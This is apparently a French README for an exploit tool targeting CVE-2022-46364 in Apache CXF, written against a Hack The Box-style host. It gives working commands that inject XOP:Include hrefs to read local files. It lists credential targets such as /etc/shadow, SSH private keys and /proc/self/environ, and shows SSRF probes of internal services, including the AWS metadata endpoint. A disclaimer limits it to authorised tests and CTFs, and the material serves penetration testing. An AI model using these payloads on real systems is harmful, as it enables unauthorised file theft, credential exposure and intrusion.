
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
Auteur : 0xmid00
Vulnérabilité : SSRF / Lecture de fichier local via XOP:Include dans les requêtes MTOM
Affecté : Apache CXF < 3.5.5 et < 3.4.10
Apache CXF traite les messages MTOM (Message Transmission Optimization Mechanism) qui contiennent des éléments XOP:Include. L'attribut href de XOP:Include est censé référencer une pièce jointe dans le même message multipart MTOM.
Cependant, dans les versions vulnérables, CXF suit n'importe quelle URI fournie dans href, y compris :
file:///etc/passwd → lit les fichiers locaux (LFI)http://127.0.0.1:PORT/ → sonde les services internes (SSRF)Un attaquant n'a besoin que d'envoyer une requête SOAP avec au moins un paramètre de n'importe quel type pour déclencher cela.
pip install requests
python3 exploit.py -r request.txt [options]
Enregistrez votre requête HTTP brute dans un fichier .txt exactement comme capturé (par exemple depuis Burp) :
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
L'exploit convertit automatiquement la requête au format MTOM — vous n'avez pas besoin de le faire manuellement.
python3 exploit.py -r request.txt --mode 1
Tente d'injecter file:///etc/passwd dans chaque élément XML feuille et rapporte ceux qui renvoient le contenu du fichier.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
Exécute d'abord le Mode 1 pour trouver le champ injectable, puis fuzze tous les chemins de la wordlist via ce champ.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
Ignore la détection de champ et passe directement au fuzzing.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
Vous pouvez également utiliser SecLists :
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>Pour sonder les services HTTP internes au lieu de lire des fichiers :
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
Ou modifiez la valeur --read avec n'importe quelle URL interne :
--read http://169.254.169.254/latest/meta-data/ (métadonnées AWS)--read http://127.0.0.1:3306/ (MySQL)--read http://127.0.0.1:22/ (bannière SSH)Cet outil est destiné uniquement aux tests de pénétration autorisés et aux défis CTF. L'auteur n'est pas responsable de toute utilisation abusive.
| Argument | Description |
|---|
-r, --request | Chemin vers le fichier de requête HTTP brute (obligatoire) |
--mode 1 | Détection automatique des champs XML injectables en utilisant /etc/passwd |
--mode 2 | Fuzz une wordlist de chemins de fichiers |
--field NAME | Spécifie le champ XML à injecter (ignore la détection automatique) |
--wordlist PATH | Chemin vers la wordlist de fichiers pour le Mode 2 |
--read PATH | Lit un seul fichier spécifique |
-v, --verbose | Affiche les informations détaillées de la requête |